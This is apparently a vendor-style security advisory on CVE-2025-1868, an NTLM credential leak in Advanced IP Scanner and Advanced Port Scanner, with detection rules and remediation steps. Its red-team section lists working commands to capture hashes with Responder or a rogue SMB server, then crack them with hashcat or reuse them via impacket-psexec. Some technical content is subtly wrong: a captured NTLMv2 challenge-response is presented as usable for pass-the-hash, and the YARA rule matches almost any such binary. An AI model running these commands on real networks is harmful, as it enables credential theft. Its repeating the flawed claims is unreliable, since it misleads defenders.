CVE-2025-1868

SHADOR_DORKS: ["product:"Advanced IP Scanner"", "product:"Advanced Port Scanner""]

Executive Summary

CVE-2025-1868 discloses a critical vulnerability in Advanced IP Scanner and Advanced Port Scanner (by Advanced IP Scanner). The flaw causes these applications to inadvertently transmit the NTLM hash of the currently logged-in user during network scanning operations. This exposure occurs over HTTP/HTTPS and SMB protocols, allowing an attacker positioned on the network (either locally or remotely) to capture the hash via traffic interception or by hosting a rogue server. The NTLM hash can then be used in pass-the-hash attacks or offline brute-force attempts to compromise user credentials and escalate privileges within the domain.

This vulnerability is particularly dangerous because it requires no authentication from the attacker and can be triggered simply by the victim performing a routine network scan. The vendor has not yet released a patch, leaving all current versions exposed.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects proprietary Windows-based applications distributed directly by the vendor. However, organizations should treat these tools as part of their software supply chain and inventory them for immediate remediation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the technical details, a realistic CVSSv3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The attacker can be on the same network segment or remotely if the scan traverses a network boundary.
• Attack Complexity (AC): Low – No special conditions required; the attacker only needs to intercept traffic or set up a fake server.
• Privileges Required (PR): None – The attacker does not need any prior access.
• User Interaction (UI): Required – The victim must initiate a network scan using the vulnerable application.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – NTLM hashes are highly sensitive and can lead to full credential compromise.
• Integrity (I): None – No data modification.
• Availability (A): None – No denial of service.

Threat Level: High. The ease of exploitation and the value of captured credentials make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability stems from the application’s network scanning logic. When Advanced IP Scanner or Advanced Port Scanner performs a scan, it attempts to authenticate to discovered hosts using the current user’s credentials. This is a common behavior in Windows networking (e.g., SMB), but the flaw is that the application does not properly restrict the authentication attempt to trusted hosts. Instead, it sends the NTLM hash to any server that responds to the scan, including attacker-controlled machines.

Technical Flow:

1. The user launches a scan (e.g., IP range or port scan).
2. The application sends probe packets to target hosts.
3. If a host responds (legitimate or rogue), the application initiates an NTLM authentication handshake.
4. The NTLM hash is transmitted as part of the challenge-response process.
5. An attacker capturing this traffic (via ARP spoofing, rogue access point, or direct network access) can extract the hash.

The vulnerability is relevant for both HTTP/HTTPS (via NTLM over HTTP) and SMB protocols, meaning any service that triggers NTLM authentication during the scan is affected.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable behavior is inherent in the application’s design. A hypothetical patch would need to:

• Disable automatic NTLM authentication during scans.
• Implement a whitelist of trusted hosts for credential-based operations.
• Use anonymous or guest authentication for scanning purposes.

Vulnerable Code (Conceptual):

// Pseudo-code showing the vulnerable behavior
void scanHost(char* ip) {
    // ... probe host ...
    if (hostResponds(ip)) {
        // Vulnerable: sends NTLM hash automatically
        authenticateWithNTLM(ip, currentUserCredentials);
    }
}

Patched Code (Hypothetical):

void scanHost(char* ip) {
    // ... probe host ...
    if (hostResponds(ip)) {
        // Patched: use anonymous authentication only
        authenticateAnonymously(ip);
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Attacker machine on the same network segment as the victim (or with network access).
• Ability to intercept traffic (e.g., ARP spoofing, rogue DHCP, or physical access).
• A tool to capture NTLM hashes (e.g., Responder, Impacket’s ntlmrelayx).

Lab Setup:

1. Attacker (Kali Linux):

   • Install Responder: sudo apt install responder
   • Run Responder to capture NTLM hashes:

     sudo responder -I eth0 -w -r -f -v
     

   • Alternatively, set up a rogue SMB server using Impacket:

     sudo impacket-smbserver -smb2support share /tmp/
     

2. Victim (Windows with Advanced IP Scanner):

   • Open Advanced IP Scanner.
   • Enter the attacker’s IP address in the scan range.
   • Click “Scan”.

3. Result:

   • Responder will capture the NTLM hash of the victim user.
   • Example output:

     [SMB] NTLMv2-SSP Hash     : victim::domain:1122334455667788:...:...
     

Exploitation of Captured Hash:

• Use the hash in a pass-the-hash attack:

  impacket-psexec -hashes :<NTLM_HASH> domain/user@target
  

• Or crack offline with Hashcat:

  hashcat -m 5600 hash.txt wordlist.txt
  

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected NTLM authentication attempts from scanning tools.
• Use network monitoring to detect Responder or rogue SMB servers.
• Alert on unusual SMB traffic patterns (e.g., many authentication requests to non-domain hosts).

Prevention:

• Disable or uninstall Advanced IP Scanner and Advanced Port Scanner until a patch is available.
• Use network segmentation to limit scanning tools to isolated VLANs.
• Enforce SMB signing to prevent relay attacks (though this does not prevent hash capture).
• Implement host-based firewalls to block outbound SMB traffic from scanning workstations.

Indicators of Compromise (IOCs)

Network IOCs:

• SMB traffic to non-domain IP addresses from scanning hosts.
• NTLM authentication attempts to unknown servers.
• Presence of Responder or similar tools on the network (e.g., python3 Responder.py).

Host IOCs:

• Advanced IP Scanner or Advanced Port Scanner processes (advanced_ip_scanner.exe, advanced_port_scanner.exe).
• Unusual outbound connections on ports 445 (SMB) or 80/443 (HTTP/HTTPS) from scanning tools.

File IOCs:

• Hash files (e.g., NTLMv2-SSP Hash logs from Responder).
• Captured network traffic (PCAP files containing NTLM authentication).

Detection Engineering

YARA Rule

rule CVE_2025_1868_NTLM_Leak {
    meta:
        description = "Detects Advanced IP Scanner/Port Scanner binaries that leak NTLM hashes"
        author = "Valters IT"
        date = "2025-04-01"
        hash = "unknown"
    strings:
        $s1 = "Advanced IP Scanner" nocase
        $s2 = "Advanced Port Scanner" nocase
        $s3 = "NTLM" nocase
        $s4 = "authentication" nocase
    condition:
        ($s1 or $s2) and ($s3 or $s4)
}

Sigma Rule

title: CVE-2025-1868 - NTLM Hash Leak via Advanced Scanner
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicating NTLM hash leakage from Advanced IP/Port Scanner
author: Valters IT
date: 2025-04-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith:
            - 'advanced_ip_scanner.exe'
            - 'advanced_port_scanner.exe'
        DestinationPort:
            - 445
            - 139
            - 80
            - 443
    condition: selection
falsepositives:
    - Legitimate SMB/HTTP traffic from other applications
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 445 (msg:"CVE-2025-1868 - NTLM Hash Leak from Advanced Scanner"; flow:to_server; content:"|00 00 00|"; depth:3; content:"|ff 53 4d 42|"; within:5; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable applications – Uninstall Advanced IP Scanner and Advanced Port Scanner from all systems until a patch is released.
2. Network segmentation – Isolate scanning tools to dedicated, non-privileged VLANs.
3. Monitor for exploitation – Deploy the provided detection rules to identify active attacks.

Long-term Fixes:

• Vendor patch – Await an official update that disables automatic NTLM authentication.
• Alternative tools – Replace with scanners that do not perform NTLM authentication (e.g., Nmap with anonymous SMB scanning).
• User training – Educate users to avoid scanning untrusted networks with these tools.

Workaround (if uninstallation is not possible):

• Configure Windows Firewall to block outbound SMB (port 445) and HTTP/HTTPS (ports 80, 443) from the scanner executable.
• Use Group Policy to enforce SMB signing and disable NTLMv1.

Valters IT